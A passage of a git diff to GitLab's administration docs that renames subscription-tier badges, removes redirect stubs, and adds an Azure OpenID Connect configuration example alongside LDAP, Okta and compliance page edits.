100644 index 6d56654a44b..00000000000 --- a/doc/administration/auth/ldap-ee.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'ldap/index.md' ---- - -This document was moved to [another location](ldap/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/ldap-troubleshooting.md b/doc/administration/auth/ldap-troubleshooting.md deleted file mode 100644 index 1e02755e3e5..00000000000 --- a/doc/administration/auth/ldap-troubleshooting.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'ldap/ldap-troubleshooting.md' ---- - -This document was moved to [another location](ldap/ldap-troubleshooting.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/ldap.md b/doc/administration/auth/ldap.md deleted file mode 100644 index 6d56654a44b..00000000000 --- a/doc/administration/auth/ldap.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'ldap/index.md' ---- - -This document was moved to [another location](ldap/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/ldap/google_secure_ldap.md b/doc/administration/auth/ldap/google_secure_ldap.md index 6fecf74d935..2b75d864352 100644 --- a/doc/administration/auth/ldap/google_secure_ldap.md +++ b/doc/administration/auth/ldap/google_secure_ldap.md @@ -5,7 +5,7 @@ group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Google Secure LDAP **(CORE ONLY)** +# Google Secure LDAP **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46391) in GitLab 11.9. diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md index de0f123acf1..466ae8e108c 100644 --- a/doc/administration/auth/ldap/index.md +++ b/doc/administration/auth/ldap/index.md @@ -29,7 +29,7 @@ stands for **Lightweight Directory Access Protocol**, which is a standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol (IP) network. -## Security **(CORE ONLY)** +## Security **(FREE SELF)** GitLab assumes that LDAP users: @@ -44,7 +44,7 @@ We recommend against using LDAP integration if your LDAP users are allowed to change their 'mail', 'email' or 'userPrincipalName' attribute on the LDAP server or share email addresses. -### User deletion **(CORE ONLY)** +### User deletion **(FREE SELF)** If a user is deleted from the LDAP server, they are also blocked in GitLab. Users are immediately blocked from logging in. However, there is an @@ -53,16 +53,16 @@ are already logged in or are using Git over SSH are be able to access GitLab for up to one hour. Manually block the user in the GitLab Admin Area to immediately block all access. -GitLab Enterprise Edition Starter supports a -[configurable sync time](#adjusting-ldap-user-sync-schedule). **(STARTER)** +GitLab Enterprise Edition Premium supports a +[configurable sync time](#adjusting-ldap-user-sync-schedule). **(PREMIUM)** -## Git password authentication **(CORE ONLY)** +## Git password authentication **(FREE SELF)** LDAP-enabled users can always authenticate with Git using their GitLab username or email and LDAP password, even if password authentication for Git is disabled in the application settings. -## Enabling LDAP sign-in for existing GitLab users **(CORE ONLY)** +## Enabling LDAP sign-in for existing GitLab users **(FREE SELF)** When a user signs in to GitLab with LDAP for the first time, and their LDAP email address is the primary email address of an existing GitLab user, then @@ -73,7 +73,7 @@ In other words, if an existing GitLab user wants to enable LDAP sign-in for themselves, they should check that their GitLab email address matches their LDAP email address, and then sign into GitLab via their LDAP credentials. -## Google Secure LDAP **(CORE ONLY)** +## Google Secure LDAP **(FREE SELF)** > Introduced in GitLab 11.9. @@ -81,7 +81,7 @@ LDAP email address, and then sign into GitLab via their LDAP credentials. LDAP service that can be configured with GitLab for authentication and group sync. See [Google Secure LDAP](google_secure_ldap.md) for detailed configuration instructions. -## Configuration **(CORE ONLY)** +## Configuration **(FREE SELF)** To enable LDAP integration you need to add your LDAP server settings in `/etc/gitlab/gitlab.rb` or `/home/git/gitlab/config/gitlab.yml` for Omnibus @@ -100,7 +100,7 @@ would be on port 389. `plain` also operates on port 389. Removed values: `tls` w LDAP users must have a set email address, regardless of whether or not it's used to sign in. -### Example Configurations **(CORE ONLY)** +### Example Configurations **(FREE SELF)** **Omnibus Configuration** @@ -163,7 +163,7 @@ production: ... ``` -### Basic Configuration Settings **(CORE ONLY)** +### Basic Configuration Settings **(FREE SELF)** | Setting | Description | Required | Examples | | ------- | ----------- | -------- | -------- | @@ -183,7 +183,7 @@ production: | `user_filter` | Filter LDAP users. Format: [RFC 4515](https://tools.ietf.org/search/rfc4515) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | no | `'(employeeType=developer)'` or `'(&(objectclass=user)(|(samaccountname=momo)(samaccountname=toto)))'` | | `lowercase_usernames` | If lowercase_usernames is enabled, GitLab converts the name to lower case. | no | boolean | -### SSL Configuration Settings **(CORE ONLY)** +### SSL Configuration Settings **(FREE SELF)** | Setting | Description | Required | Examples | | ------- | ----------- | -------- | -------- | @@ -193,7 +193,7 @@ production: | `cert` | Client certificate | no | `'-----BEGIN CERTIFICATE----- <REDACTED> -----END CERTIFICATE -----'` | | `key` | Client private key | no | `'-----BEGIN PRIVATE KEY----- <REDACTED> -----END PRIVATE KEY -----'` | -### Attribute Configuration Settings **(CORE ONLY)** +### Attribute Configuration Settings **(FREE SELF)** LDAP attributes that GitLab uses to create an account for the LDAP user. The specified attribute can either be the attribute name as a string (for example, `'mail'`), or an array of attribute names to try in order (for example, `['mail', 'email']`). Note that the user's LDAP sign-in is the attribute specified as `uid` above. @@ -205,7 +205,7 @@ LDAP attributes that GitLab uses to create an account for the LDAP user. The spe | `first_name` | LDAP attribute for user first name. Used when the attribute configured for `name` does not exist. | no | `'givenName'` | | `last_name` | LDAP attribute for user last name. Used when the attribute configured for `name` does not exist. | no | `'sn'` | -### LDAP Sync Configuration Settings **(STARTER ONLY)** +### LDAP Sync Configuration Settings **(PREMIUM SELF)** | Setting | Description | Required | Examples | | ------- | ----------- | -------- | -------- | @@ -214,7 +214,7 @@ LDAP attributes that GitLab uses to create an account for the LDAP user. The spe | `external_groups` | An array of CNs of groups containing users that should be considered external. Note: Not `cn=interns` or the full DN. | no | `['interns', 'contractors']` | | `sync_ssh_keys` | The LDAP attribute containing a user's public SSH key. | no | `'sshPublicKey'` or false if not set | -### Set up LDAP user filter **(CORE ONLY)** +### Set up LDAP user filter **(FREE SELF)** If you want to limit all GitLab access to a subset of the LDAP users on your LDAP server, the first step should be to narrow the configured `base`. However, @@ -254,12 +254,12 @@ group, you can use the following syntax: For more information about this "LDAP_MATCHING_RULE_IN_CHAIN" filter, see the following [Microsoft Search Filter Syntax](https://docs.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax) document. Support for nested members in the user filter should not be confused with -[group sync nested groups support](#supported-ldap-group-typesattributes). **(STARTER ONLY)** +[group sync nested groups support](#supported-ldap-group-typesattributes). **(PREMIUM SELF)** Please note that GitLab does not support the custom filter syntax used by OmniAuth LDAP. -#### Escaping special characters **(CORE ONLY)** +#### Escaping special characters **(FREE SELF)** The `user_filter` DN can contain special characters. For example: @@ -290,7 +290,7 @@ The `user_filter` DN can contain special characters. For example: OU=Gitlab \28Inc\29,DC=gitlab,DC=com ``` -### Enabling LDAP username lowercase **(CORE ONLY)** +### Enabling LDAP username lowercase **(FREE SELF)** Some LDAP servers, depending on their configurations, can return uppercase usernames. This can lead to several confusing issues such as creating links or namespaces with uppercase names. @@ -328,7 +328,7 @@ the configuration option `lowercase_usernames`. By default, this configuration o 1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. -### Disable LDAP web sign in **(CORE ONLY)** +### Disable LDAP web sign in **(FREE SELF)** It can be useful to prevent using LDAP credentials through the web UI when an alternative such as SAML is preferred. This allows LDAP to be used for group @@ -360,7 +360,7 @@ This does not disable [using LDAP credentials for Git access](#git-password-auth 1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. -### Using encrypted credentials **(CORE ONLY)** +### Using encrypted credentials **(FREE SELF)** Instead of having the LDAP integration credentials stored in plaintext in the configuration files, you can optionally use an encrypted file for the LDAP credentials. To use this feature, you first need to enable @@ -447,7 +447,7 @@ If initially your LDAP configuration looked like: 1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. -## Encryption **(CORE ONLY)** +## Encryption **(FREE SELF)** ### TLS Server Authentication @@ -467,7 +467,7 @@ You should disable anonymous LDAP authentication and enable simple or SASL authentication. The TLS client authentication setting in your LDAP server cannot be mandatory and clients cannot be authenticated with the TLS protocol. -## Multiple LDAP servers **(STARTER ONLY)** +## Multiple LDAP servers **(PREMIUM SELF)** With GitLab Enterprise Edition Starter, you can configure multiple LDAP servers that your GitLab instance connects to. @@ -515,7 +515,7 @@ gitlab_rails['ldap_servers'] = { If you configure multiple LDAP servers, use a unique naming convention for the `label` section of each entry. That label is used as the display name of the tab shown on the sign-in page. -## User sync **(STARTER ONLY)** +## User sync **(PREMIUM SELF)** Once per day, GitLab runs a worker to check and update GitLab users against LDAP. @@ -530,7 +530,12 @@ The process executes the following access checks: In Active Directory, a user is marked as disabled/blocked if the user account control attribute (`userAccountControl:1.2.840.113556.1.4.803`) has bit 2 set. -For more information, see <https://ctovswild.com/2009/09/03/bitmask-searches-in-ldap/> + +<!-- vale gitlab.Spelling = NO --> + +For more information, see [Bitmask Searches in LDAP](https://ctovswild.com/2009/09/03/bitmask-searches-in-ldap/). + +<!-- vale gitlab.Spelling = YES --> The user is set to an `ldap_blocked` state in GitLab if the previous conditions fail. This means the user is not able to sign in or push/pull code. @@ -546,7 +551,7 @@ The LDAP sync process: - Updates existing users. - Creates new users on first sign in. -### Adjusting LDAP user sync schedule **(STARTER ONLY)** +### Adjusting LDAP user sync schedule **(PREMIUM SELF)** By default, GitLab runs a worker once per day at 01:30 a.m. server time to check and update GitLab users against LDAP. @@ -579,7 +584,7 @@ sync to run once every 12 hours at the top of the hour. 1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. -## Group Sync **(STARTER ONLY)** +## Group Sync **(PREMIUM SELF)** If your LDAP supports the `memberof` property, when the user signs in for the first time GitLab triggers a sync for groups the user should be a member of. @@ -629,11 +634,11 @@ following. To take advantage of group sync, group owners or maintainers need to [create one or more LDAP group links](#adding-group-links). -### Adding group links **(STARTER ONLY)** +### Adding group links **(PREMIUM SELF)** For information on adding group links via CNs and filters, refer to [the GitLab groups documentation](../../../user/group/index.md#manage-group-memberships-via-ldap). -### Administrator sync **(STARTER ONLY)** +### Administrator sync **(PREMIUM SELF)** As an extension of group sync, you can automatically manage your global GitLab administrators. Specify a group CN for `admin_group` and all members of the @@ -642,8 +647,8 @@ like the following. NOTE: Administrators are not synced unless `group_base` is also -specified alongside `admin_group`. Also, only specify the CN of the admin -group, as opposed to the full DN. +specified alongside `admin_group`. Also, only specify the CN of the `admin_group`, +as opposed to the full DN. **Omnibus configuration** @@ -677,7 +682,7 @@ group, as opposed to the full DN. 1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. -### Global group memberships lock **(STARTER ONLY)** +### Global group memberships lock **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1793) in GitLab 12.0. @@ -693,10 +698,10 @@ When enabled, the following applies: To enable it you need to: 1. [Enable LDAP](#configuration) -1. Navigate to **(admin)** **Admin Area > Settings -> Visibility and access controls**. +1. Navigate to **Admin Area > Settings -> Visibility and access controls**. 1. Make sure the "Lock memberships to LDAP synchronization" checkbox is enabled. -### Adjusting LDAP group sync schedule **(STARTER ONLY)** +### Adjusting LDAP group sync schedule **(PREMIUM SELF)** By default, GitLab runs a group sync process every hour, on the hour. The values shown are in cron format. If needed, you can use a @@ -735,7 +740,7 @@ sync to run once every 2 hours at the top of the hour. 1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. -### External groups **(STARTER ONLY)** +### External groups **(PREMIUM SELF)** Using the `external_groups` setting will allow you to mark all users belonging to these groups as [external users](../../../user/permissions.md#external-users). diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md index 1976bab03c6..438f591856b 100644 --- a/doc/administration/auth/ldap/ldap-troubleshooting.md +++ b/doc/administration/auth/ldap/ldap-troubleshooting.md @@ -52,7 +52,7 @@ main: # 'main' is the GitLab 'provider ID' of this LDAP server admin_group: 'my_admin_group' ``` -#### Query LDAP **(STARTER ONLY)** +#### Query LDAP **(PREMIUM SELF)** The following allows you to perform a search in LDAP using the rails console. Depending on what you're trying to do, it may make more sense to query [a @@ -148,11 +148,11 @@ We have a workaround, based on toggling the access level of affected users: 1. As an administrator, go to **Admin Area > Overview > Users**. 1. Select the name of the affected user. 1. In the user's administrative page, press **Edit** on the top right of the page. -1. Change the user's access level from **Regular** to **Admin** (or vice versa), +1. Change the user's access level from `Regular` to `Admin` (or vice versa), and press **Save changes** at the bottom of the page. 1. Press **Edit** on the top right of the user's profile page again. -1. Restore the user's original access level (**Regular** or **Admin**) +1. Restore the user's original access level (`Regular` or `Admin`) and press **Save changes** again. The user should now be able to sign in. @@ -191,7 +191,7 @@ have to be taken here: will associate this profile to the LDAP identity. The user can do either of these steps [in their -profile](../../../user/profile/index.md#user-profile) or an admin can do it. +profile](../../../user/profile/index.md#user-profile) or an administrator can do it. #### Debug LDAP user filter @@ -210,7 +210,7 @@ ldapsearch -H ldaps://$host:$port -D "$bind_dn" -y bind_dn_password.txt -b "$ba port. - We are assuming the password for the `bind_dn` user is in `bind_dn_password.txt`. -#### Sync all users **(STARTER ONLY)** +#### Sync all users **(PREMIUM SELF)** The output from a manual [user sync](index.md#user-sync) can show you what happens when GitLab tries to sync its users against LDAP. Enter the [rails console](#rails-console) @@ -225,7 +225,7 @@ LdapSyncWorker.new.perform Next, [learn how to read the output](#example-console-output-after-a-user-sync). -##### Example console output after a user sync **(STARTER ONLY)** +##### Example console output after a user sync **(PREMIUM SELF)** The output from a [manual user sync](#sync-all-users) will be very verbose, and a single user's successful sync can look like this: @@ -316,9 +316,9 @@ adapter = Gitlab::Auth::Ldap::Adapter.new('ldapmain') # If `main` is the LDAP pr Gitlab::Auth::Ldap::Person.find_by_uid('<uid>', adapter) ``` -### Group memberships **(STARTER ONLY)** +### Group memberships **(PREMIUM SELF)** -#### Membership(s) not granted **(STARTER ONLY)** +#### Membership(s) not granted **(PREMIUM SELF)** Sometimes you may think a particular user should be added to a GitLab group via LDAP group sync, but for some reason it's not happening. There are several @@ -358,17 +358,17 @@ the rails console. UIDs here should match the 'Identifier' from the LDAP identity checked earlier. If it doesn't, the user does not appear to be in the LDAP group. -#### Admin privileges not granted +#### Administrator privileges not granted When [Administrator sync](index.md#administrator-sync) has been configured -but the configured users aren't granted the correct admin privileges, confirm +but the configured users aren't granted the correct administrator privileges, confirm the following are true: - A [`group_base` is also configured](index.md#group-sync). - The configured `admin_group` in the `gitlab.rb` is a CN, rather than a DN or an array. - This CN falls under the scope of the configured `group_base`. - The members of the `admin_group` have already signed into GitLab with their LDAP - credentials. GitLab will only grant this admin access to the users whose + credentials. GitLab will only grant this administrator access to the users whose accounts are already connected to LDAP. If all the above are true and the users are still not getting access, [run a manual @@ -376,7 +376,7 @@ group sync](#sync-all-groups) in the rails console and [look through the output](#example-console-output-after-a-group-sync) to see what happens when GitLab syncs the `admin_group`. -#### Sync all groups **(STARTER ONLY)** +#### Sync all groups **(PREMIUM SELF)** NOTE: To sync all groups manually when debugging is unnecessary, [use the Rake @@ -394,7 +394,7 @@ LdapAllGroupsSyncWorker.new.perform Next, [learn how to read the output](#example-console-output-after-a-group-sync). -##### Example console output after a group sync **(STARTER ONLY)** +##### Example console output after a group sync **(PREMIUM SELF)** Like the output from the user sync, the output from the [manual group sync](#sync-all-groups) will also be very verbose. However, it contains lots @@ -477,14 +477,14 @@ this line will indicate the sync is finished: Finished syncing admin users for 'ldapmain' provider ``` -If [admin sync](index.md#administrator-sync) is not configured, you'll see a message +If [administrator sync](index.md#administrator-sync) is not configured, you'll see a message stating as such: ```shell No `admin_group` configured for 'ldapmain' provider. Skipping ``` -#### Sync one group **(STARTER ONLY)** +#### Sync one group **(PREMIUM SELF)** [Syncing all groups](#sync-all-groups) can produce a lot of noise in the output, which can be distracting when you're only interested in troubleshooting the memberships of @@ -506,7 +506,7 @@ EE::Gitlab::Auth::Ldap::Sync::Group.execute_all_providers(group) The output will be similar to [that you'd get from syncing all groups](#example-console-output-after-a-group-sync). -#### Query a group in LDAP **(STARTER ONLY)** +#### Query a group in LDAP **(PREMIUM SELF)** When you'd like to confirm that GitLab can read a LDAP group and see all its members, you can run the following: @@ -562,7 +562,7 @@ emails.each do |username, email| end ``` -You can then [run a UserSync](#sync-all-users) **(STARTER ONLY)** to sync the latest DN +You can then [run a UserSync](#sync-all-users) **(PREMIUM SELF)** to sync the latest DN for each of these users. ## Debugging Tools diff --git a/doc/administration/auth/oidc.md b/doc/administration/auth/oidc.md index 158182edfb5..cde8944fadc 100644 --- a/doc/administration/auth/oidc.md +++ b/doc/administration/auth/oidc.md @@ -130,8 +130,7 @@ different providers with Omnibus GitLab. ### Google -See the [Google -documentation](https://developers.google.com/identity/protocols/oauth2/openid-connect) +See the [Google documentation](https://developers.google.com/identity/protocols/oauth2/openid-connect) for more details: ```ruby @@ -156,6 +155,44 @@ for more details: } ``` +### Microsoft Azure + +The OpenID Connect (OIDC) protocol for Microsoft Azure uses the [Microsoft identity platform (v2) endpoints](https://docs.microsoft.com/en-us/azure/active-directory/azuread-dev/azure-ad-endpoint-comparison). +To get started, sign in to the [Azure Portal](https://portal.azure.com). For your app, you'll need the +following information: + +- A tenant ID. You may already have one. For more information, review the + [Microsoft Azure Tenant](https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-create-new-tenant) documentation. +- A client ID and a client secret. Follow the instructions in the + [Microsoft Quickstart Register an Application](https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app) documentation. +to obtain the tenant ID, client ID, and client secret for your app. + +Example Omnibus configuration block: + +```ruby + gitlab_rails['omniauth_providers'] = [ + { + 'name' => 'openid_connect', + 'label' => 'Azure OIDC', + 'args' => { + 'name' => 'openid_connect', + 'scope' => ['openid', 'profile', 'email'], + 'response_type' => 'code', + 'issuer' => 'https://login.microsoftonline.com/<YOUR-TENANT-ID>/v2.0', + 'client_auth_method' => 'query', + 'discovery' => true, + 'uid_field' => 'preferred_username', + 'client_options' => { + 'identifier' => '<YOUR APP CLIENT ID>', + 'secret' => '<YOUR APP CLIENT SECRET>', + 'redirect_uri' => 'https://gitlab.example.com/users/auth/openid_connect/callback' + } + } + } +``` + +Microsoft has documented how its platform works with [the OIDC protocol](https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-protocols-oidc). + ## Troubleshooting If you're having trouble, here are some tips: @@ -175,6 +212,6 @@ If you're having trouble, here are some tips: OAuth2 access token if `client_auth_method` is not defined or if set to `basic`. If you are seeing 401 errors upon retrieving the `userinfo` endpoint, you may want to check your OpenID Web server configuration. For example, for - [oauth2-server-php](https://github.com/bshaffer/oauth2-server-php), you + [`oauth2-server-php`](https://github.com/bshaffer/oauth2-server-php), you may need to [add a configuration parameter to Apache](https://github.com/bshaffer/oauth2-server-php/issues/926#issuecomment-387502778). diff --git a/doc/administration/auth/okta.md b/doc/administration/auth/okta.md index 50dc3b58680..0f2851890e2 100644 --- a/doc/administration/auth/okta.md +++ b/doc/administration/auth/okta.md @@ -16,16 +16,16 @@ The following documentation enables Okta as a SAML provider. The following guidance is based on this Okta article, on adding a [SAML Application with an Okta Developer account](https://support.okta.com/help/s/article/Why-can-t-I-add-a-SAML-Application-with-an-Okta-Developer-account?language=en_US): -1. On Okta admin section, make sure to select Classic UI view in the top left corner. From there, choose to **Add an App**. +1. In the Okta admin section, make sure to select Classic UI view in the top left corner. From there, choose to **Add an App**. 1. When the app screen comes up you see another button to **Create an App** and choose SAML 2.0 on the next screen. -1. Now, very important, add a logo +1. Optionally you can add a logo (you can choose it from <https://about.gitlab.com/press/>). You'll have to crop and resize it. -1. Next, you'll need the to fill in the SAML general configuration. Here's an example +1. Next, you'll need the to fill in the SAML general configuration. Here's an example (showing the required URLs and attribute mapping): image. -  +  1. The last part of the configuration is the feedback section where you can just say you're a customer and creating an app for internal use. diff --git a/doc/administration/auth/smartcard.md b/doc/administration/auth/smartcard.md index 9790802e413..dfeee5e7ac4 100644 --- a/doc/administration/auth/smartcard.md +++ b/doc/administration/auth/smartcard.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Smartcard authentication **(PREMIUM ONLY)** +# Smartcard authentication **(PREMIUM SELF)** GitLab supports authentication using smartcards. diff --git a/doc/administration/availability/index.md b/doc/administration/availability/index.md deleted file mode 100644 index 4f934646ed6..00000000000 --- a/doc/administration/availability/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: ../reference_architectures/index.md ---- - -This document was moved to [another location](../reference_architectures/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/build_artifacts.md b/doc/administration/build_artifacts.md deleted file mode 100644 index e42f50b2e54..00000000000 --- a/doc/administration/build_artifacts.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'job_artifacts.md' ---- - -This document was moved to [job_artifacts](job_artifacts.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/compliance.md b/doc/administration/compliance.md index 6079e838ac6..721b0dbb957 100644 --- a/doc/administration/compliance.md +++ b/doc/administration/compliance.md @@ -13,17 +13,17 @@ documentation. The [security features](../security/README.md) in GitLab may also help you meet relevant compliance standards. -|Feature |GitLab tier |GitLab.com | Product level | +|Feature |GitLab tier |GitLab SaaS | Product level | | ---------| :--------: | :-------: | :-----------: | -|**[Restrict SSH Keys](../security/ssh_keys_restrictions.md)**<br>Control the technology and key length of SSH keys used to access GitLab|Core+||Instance| -|**[Granular user roles and flexible permissions](../user/permissions.md)**<br>Manage access and permissions with five different user roles and settings for external users. Set permissions according to people's role, rather than either read or write access to a repository. Don't share the source code with people that only need access to the issue tracker.|Core+|✓|Instance, Group, Project| -|**[Enforce TOS acceptance](../user/admin_area/settings/terms.md)**<br>Enforce your users accepting new terms of service by blocking GitLab traffic.|Core+||Instance| -|**[Email all users of a project, group, or entire server](../tools/email.md)**<br>An admin can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades.|Starter+|||Instance -|**[Omnibus package supports log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-forwarding)**<br>Forward your logs to a central system.|Starter+||Instance| -|**[Lock project membership to group](../user/group/index.md#member-lock)**<br>Group owners can prevent new members from being added to projects within a group.|Starter+|✓|Group| -|**[LDAP group sync](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition gives admins the ability to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your product, not configuring your tools.|Starter+||Instance| +|**[Restrict SSH Keys](../security/ssh_keys_restrictions.md)**<br>Control the technology and key length of SSH keys used to access GitLab|Free+||Instance| +|**[Granular user roles and flexible permissions](../user/permissions.md)**<br>Manage access and permissions with five different user roles and settings for external users. Set permissions according to people's role, rather than either read or write access to a repository. Don't share the source code with people that only need access to the issue tracker.|Free+|✓|Instance, Group, Project| +|**[Enforce TOS acceptance](../user/admin_area/settings/terms.md)**<br>Enforce your users accepting new terms of service by blocking GitLab traffic.|Free+||Instance| +|**[Email all users of a project, group, or entire server](../tools/email.md)**<br>An administrator can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades.|Premium+||Instance| +|**[Omnibus package supports log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-forwarding)**<br>Forward your logs to a central system.|Premium+||Instance| +|**[Lock project membership to group](../user/group/index.md#member-lock)**<br>Group owners can prevent new members from being added to projects within a group.|Premium+|✓|Group| +|**[LDAP group sync](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition gives administrators the ability to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your product, not configuring your tools.|Premium+||Instance| |**[LDAP group sync filters](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition Premium gives more flexibility to synchronize with LDAP based on filters, meaning you can leverage LDAP attributes to map GitLab permissions.|Premium+||Instance| -|**[Audit events](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives admins the ability to view any modifications made within the GitLab server in an advanced audit events system, so you can control, analyze, and track every change.|Premium+|✓|Instance, Group, Project| +|**[Audit events](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives administrators the ability to view any modifications made within the GitLab server in an advanced audit events system, so you can control, analyze, and track every change.|Premium+|✓|Instance, Group, Project| |**[Auditor users](auditor_users.md)**<br>Auditor users are users who are given read-only access to all projects, groups, and other resources on the GitLab instance.|Premium+||Instance| |**[Credentials inventory](../user/admin_area/credentials_inventory.md)**<br>With a credentials inventory, GitLab administrators can keep track of the credentials used by all of the users in their GitLab instance. |Ultimate||Instance| -|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-ci-configuration-path)**<br> GitLab Silver and Premium users can leverage the GitLab cross-project YAML configurations to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles.|Premium+|✓|Project| +|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-cicd-configuration-path)**<br> GitLab Premium users can leverage the GitLab cross-project YAML configurations to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles.|Premium+|✓|Project| diff --git a/doc/administration/consul.md b/doc/administration/consul.md index 5b577443c7c..dfc859e30c2 100644 --- a/doc/administration/consul.md +++ b/doc/administration/consul.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# How to set up Consul **(PREMIUM ONLY)** +# How to set up Consul **(PREMIUM SELF)** A Consul cluster consists of both [server and client agents](https://www.consul.io/docs/agent). diff --git a/doc/administration/container_registry.md b/doc/administration/container_registry.md deleted file mode 100644 index 52941556237..00000000000 --- a/doc/administration/container_registry.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'packages/container_registry.md' ---- - -This document was moved to [another location](packages/container_registry.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/custom_hooks.md b/doc/administration/custom_hooks.md deleted file mode 100644 index 0580540eef9..00000000000 --- a/doc/administration/custom_hooks.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'server_hooks.md' ---- - -This document was moved to [another location](server_hooks.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/database_load_balancing.md b/doc/administration/database_load_balancing.md index 45243afd8ac..fe30d98b92d 100644 --- a/doc/administration/database_load_balancing.md +++ b/doc/administration/database_load_balancing.md @@ -4,7 +4,7 @@ group: Database info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Database Load Balancing **(PREMIUM ONLY)** +# Database Load Balancing **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1283) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.0. diff --git a/doc/administration/dependency_proxy.md b/doc/administration/dependency_proxy.md deleted file mode 100644 index c0e0643b5de..00000000000 --- a/doc/administration/dependency_proxy.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'packages/dependency_proxy.md' ---- - -This document was moved to [another location](packages/dependency_proxy.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/encrypted_configuration.md b/doc/administration/encrypted_configuration.md index 01a1cf66bdc..508f4314694 100644 --- a/doc/administration/encrypted_configuration.md +++ b/doc/administration/encrypted_configuration.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Encrypted Configuration **(CORE ONLY)** +# Encrypted Configuration **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45712) in GitLab 13.7. @@ -34,4 +34,4 @@ The new secret can be generated by running: bundle exec rake gitlab:env:info RAILS_ENV=production GITLAB_GENERATE_ENCRYPTED_SETTINGS_KEY_BASE=true ``` -This will print general info on the GitLab instance, but will also cause the key to be generated in `<path-to-gitlab-rails>/config/secrets.yml` +This will print general information on the GitLab instance, but will also cause the key to be generated in `<path-to-gitlab-rails>/config/secrets.yml` diff --git a/doc/administration/external_database.md b/doc/administration/external_database.md deleted file mode 100644 index 